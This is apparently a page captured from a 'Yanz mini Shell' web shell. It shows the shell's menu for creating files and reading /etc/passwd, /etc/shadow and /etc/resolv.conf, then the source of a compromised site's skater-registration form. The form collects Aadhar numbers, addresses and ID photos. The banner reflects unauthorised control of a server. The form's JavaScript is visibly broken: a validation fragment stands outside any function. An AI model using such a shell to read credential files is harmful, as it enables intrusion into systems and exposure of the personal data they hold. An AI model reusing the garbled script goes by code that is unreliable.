Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php include('header.php')?>
<link rel="stylesheet" href="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css" />
<link rel="stylesheet" href="assets/vendor/libs/typeahead-js/typeahead.css" />
<link rel="stylesheet" href="assets/vendor/libs/datatables-bs5/datatables.bootstrap5.css" />
<link rel="stylesheet" href="assets/vendor/libs/datatables-responsive-bs5/responsive.bootstrap5.css" />
<link rel="stylesheet" href="assets/vendor/libs/datatables-buttons-bs5/buttons.bootstrap5.css" />
<link rel="stylesheet" href="assets/vendor/libs/datatables-checkboxes-jquery/datatables.checkboxes.css" />
<link rel="stylesheet" href="assets/vendor/libs/select2/select2.css" />
<link rel="stylesheet" href="assets/vendor/libs/@form-validation/form-validation.css" />
        
    
    <div class="container-xxl flex-grow-1" style="padding: 0px 10px;">
        <div class="card" style="margin-bottom:5px;">
            <div class="row" style="padding: 5px 5px;">
                    <div class="col-md-8">
                        <h6 class="card-header" ><i class="ri-file-list-3-fill"></i><span id="title_text"></span> : Skater Member Register Form Details</h6>
                    </div>
                    <div class="col-md-4 text-end">
                        <a href="skater-list.php"><button type="button" class="btn btn-xs rounded-pill btn-primary waves-effect waves-light" data-bs-toggle="modal" data-bs-target="#userModal">
                            <i class="ri-arrow-left-circle-fill"></i> &nbsp;&nbsp; Back to Skater List
                          </button></a>
                    </div>
            </div>    
            <div class="row" style="padding: 5px 20px;"> 
<form id="skaterForm" novalidate enctype="multipart/form-data">
 <div class="row mb-4">
     <center><h6 class="mt-4">Personal Details</h6></center>
    <div class="col-sm-6">
   
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="full_name">Name</label>
        <div class="col-sm-8">
            <input type="text" name="full_name" class="form-control" id="full_name" 
            placeholder="Enter your name" required/>
        </div>
    </div>
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="full_name">Father Name</label>
        <div class="col-sm-8">
            <input type="text" name="father_name" class="form-control" id="father_name" 
            placeholder="Enter father your name" required/>
        </div>
    </div>
     <div class="row mb-4">
         
        <label class="col-sm-4 col-form-label required-label">Gender</label>
        <div class="col-sm-8">
            <div class="form-check form-check-inline">
                <input class="form-check-input" type="radio" name="gender" id="status_active" value="Male" checked required>
                <label class="form-check-label" for="status_active">Male</label>
            </div>
            <div class="form-check form-check-inline">
                <input class="form-check-input" type="radio" name="gender" id="status_inactive" value="Female" required>
                <label class="form-check-label" for="status_inactive">Female</label>
            </div>
        </div>
    </div>
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="school_name">School Name</label>
        <div class="col-sm-8">
            <input type="text" name="school_name" class="form-control" id="school_name" placeholder="Enter your School Name" required/>
        </div>
    </div>
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="email_address">E-mail</label>
        <div class="col-sm-8">
            <input type="email" name="email_address" class="form-control" id="email_address" placeholder="Enter your E-mail" required/>
        </div>
    </div>
    </div>
     <div class="col-sm-6">
    
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="email_address">Mobile Numer</label>
        <div class="col-sm-8">
            <input type="number" name="mobile_number" class="form-control" id="mobile_number" placeholder="Enter your mobile number" required/>
        </div>
    </div>
     <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="date_of_birth">Date Of Birth</label>
        <div class="col-sm-8">
            <input type="date" name="date_of_birth" class="form-control" id="date_of_birth" placeholder="Enter your date Of Birth" required/>
        </div>
    </div>
  <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="blood_group">Blood Group</label>
        <div class="col-sm-8">
            <select id="blood_group" name="blood_group" class="form-select" required>
                <option value="">Select Blood Group</option>
                <option value="A+">A+</option>
                <option value="A-">A-</option>
                <option value="B+">B+</option>
                <option value="B-">B-</option>
                <option value="O+">O+</option>
                <option value="O-">O-</option>
                <option value="AB+">AB+</option>
                <option value="AB-">AB-</option>
                
            </select>
        </div>
    </div>
      <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="aadhar_number">Aadhar Number</label>
        <div class="col-sm-8">
            <input type="number" name="aadhar_number" class="form-control" id="aadhar_number" placeholder="Enter your Aadhar Number" required/>
        </div>
    </div>
       <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="residential_address">Residential Address</label>
        <div class="col-sm-8">
            <textarea id="residential_address" name="residential_address" rows="5"  class="form-control" placeholder="Enter Your Address" required></textarea>
        </div>
    </div>
</div>

<center><h6 class="mt-4">Registration Details</h6></center>
<div class="col-sm-6">
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="category_type_id">Category Id</label>
        <div class="col-sm-8">
              <select id="category_type_id" name="category_type_id" class="form-select" required>
                <option value="">Select Category</option>
                <option value="">1</option>
                
            </select>
        </div>
    </div>
   
     <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="state_id">State Id</label>
        <div class="col-sm-8">
         <select id="state_id" name="state_id" class="form-select" required>
                <option value="">Select State Id</option>
                
            </select>
    </div>
    </div>
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="district_id">District Id</label>
        <div class="col-sm-8">
          <select id="district_id" name="district_id" class="form-select" required>
                <option value="">Select District Id</option>
                
            </select>
        </div>
    </div>

</div>
 
    <div class="col-sm-6">
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="club_id">Select Club</label>
        <div class="col-sm-8">
           <select id="club_id" name="club_id" class="form-select" required>
                <option value="">Select Club</option>
                <option value="">1</option>
                
            </select>
        </div>
    </div>
      <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="coach_name">Coach Name</label>
        <div class="col-sm-8">
            <input type="text" name="coach_name" class="form-control" id="coach_name" placeholder="Enter Your Coach Name" required/>
        </div>
    </div>
     <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label required-label" for="coach_mobile_number">Coach Mobile Number</label>
        <div class="col-sm-8">
            <input type="tel" name="coach_mobile_number" class="form-control" id="coach_mobile_number" placeholder="Enter your Coach Mobile Number" required/>
        </div>
    </div>
    
       </div>
 
    
  <center><h6 class="mt-4">Identity Details</h6></center>
<div class="col-sm-6">

<div class="row mb-4">
        
        <label class="col-sm-4 col-form-label" for="logo_path"></label>
        <div class="col-sm-8">
            <center>
                  <i class="ri-user-fill" style="font-size: 150px;"></i> 
                </center>
        </div>
    </div>
    
    <div class="row mb-4">
         
        <label class="col-sm-4 col-form-label required-label" for="identity_proof" id="identity_proof_label">Identity Proof</label>
        <div class="col-sm-8">
            <input type="file" name="identity_proof" class="form-control" id="identity_proof" accept="image/*" required/>
        </div>
    </div>
    </div>
    
    <div class="col-sm-6">
    
    <div class="row mb-4">
        
        <label class="col-sm-4 col-form-label" for="logo_path"></label>
        <div class="col-sm-8">
            <center>
                <i class="ri-user-fill" style="font-size: 150px;"></i> 
                </center>
        </div>
    </div>
    
    <div class="row mb-4">
         
        <div>
         
        </div>
        <label class="col-sm-4 col-form-label required-label" for="profile_photo" id="profile_photo_label">Profile Photo</label>
        <div class="col-sm-8">
            <input type="file" name="profile_photo" class="form-control" id="profile_photo" accept="image/*" required/>
        </div>
    </div>
</div>
</div>
    <div class="row mb-4">
        
        <div class="col-sm-12 text-end">
            <button type="submit" class="btn btn-success" id="submitBtn">Register Skater</button>
        </div>
    </div>
</form>
            </div>
        </div>
    </div>
    
 
 
 
 
 <style>
     .col-form-label {
    padding-bottom: 2px !important;
    padding-top: 2px !important;
    margin-bottom: 2px !important;
     }
     .mb-4 {
    margin-bottom: 3px !important;
}
.form-control {
    padding: 5px !important;
}
.form-select {
    padding: 5px !important;
}

</style>

<script src="assets/vendor/libs/jquery/jquery.js"></script>
<script src="assets/vendor/libs/datatables-bs5/datatables-bootstrap5.js"></script>
<script src="assets/vendor/libs/select2/select2.js"></script>
<script src="assets/vendor/libs/@form-validation/popular.js"></script>
<script src="assets/vendor/libs/@form-validation/bootstrap5.js"></script>
<script src="assets/vendor/libs/@form-validation/auto-focus.js"></script>
   <script>
    $(document).ready(function () {
        getDropDown('tbl_states','state_id','state_name');
        getDropDown('tbl_category_type','category_type_id','cat_name');
        getDropDown('tbl_clubs','club_id','club_name');
    });
    $('#state_id').on('change',function(){
        var state_id = $('#state_id').val();
        getDropDown('tbl_districts','district_id','district_name',{'state_id':state_id});
    });
    
    
    
    
    
    
    
    
    
    
    
    
        // $('.select2').select2({
        //     allowClear: true
        // });
        // getBranch();
   
document.addEventListener("DOMContentLoaded", function () {
    function getQueryParam(param) {
        let urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(param);
    }

let selectedId = getQueryParam("id");
    if (selectedId) {
        $('#title_text').text("Update");
        $("#identity_proof_label").removeClass("required-label");
        $("#profile_photo_label").removeClass("required-label");
        editSkater(selectedId);
    }else{
        $('#title_text').text("Create");
    }

document.querySelectorAll(".error-message").forEach(el => el.remove());

fields.forEach(field => {
            let input = document.getElementById(field.id);
            if (!input) return;

let errorMessage = "";
            if (!input.value.trim()) {
                errorMessage = field.message;
                isValid = false;
            } else if (field.pattern && !field.pattern.test(input.value)) {
                errorMessage = field.errorMsg;
                isValid = false;
            }

if (errorMessage) {
                input.classList.add("is-invalid");
                showError(input, errorMessage);
            } else {
                input.classList.remove("is-invalid");
            }
        });

return isValid;
    }
    function showError(input, message) {
        let errorDiv = document.createElement("div");
        errorDiv.className = "error-message text-danger mt-1";
        errorDiv.innerText = message;
        input.insertAdjacentElement("afterend", errorDiv);
    }
    
    
    
    
    function submitForm() {
    let form = $("#skaterForm");
    let submitButton = $("#submitBtn"); // Ensure the submit button has an ID
    let formData = new FormData(form[0]); // Use FormData for file uploads
    let url = selectedId ? 'api/skaters/update.php' : 'api/skaters/create.php';
    
    if (selectedId) {
        formData.append('id', selectedId); // Append ID for update
    }
    // Disable button and show loading spinner
    submitButton.prop('disabled', true).html('<i class="fa fa-spinner fa-spin"></i> Saving Pls Wait...');

$.ajax({
        url: url,
        type: 'POST',
        dataType: 'json',
        processData: false,  // Required for FormData
        contentType: false,  // Required for FormData
        data: formData,
        success: function (response) {
            console.log(response);
            if (response.status == "success") {
                showtoastt(response.message, 'success');
                if (!selectedId) {
                    form[0].reset(); // Reset form only for create
                }
            } else {
                showtoastt(response.message, 'error');
                submitButton.prop('disabled', false).html('Register Skater');
            }
        },
        error: function (xhr) {
            showtoastt('Something Went Wrong...', 'error');
            console.error('Request failed:', xhr);
            submitButton.prop('disabled', false).html('Register Skater');
        },
        complete: function () {
            // Re-enable button and restore original text
            submitButton.prop('disabled', false).html('Register Skater');
        }
    });
}

});

</script>
<?php include('footer.php')?>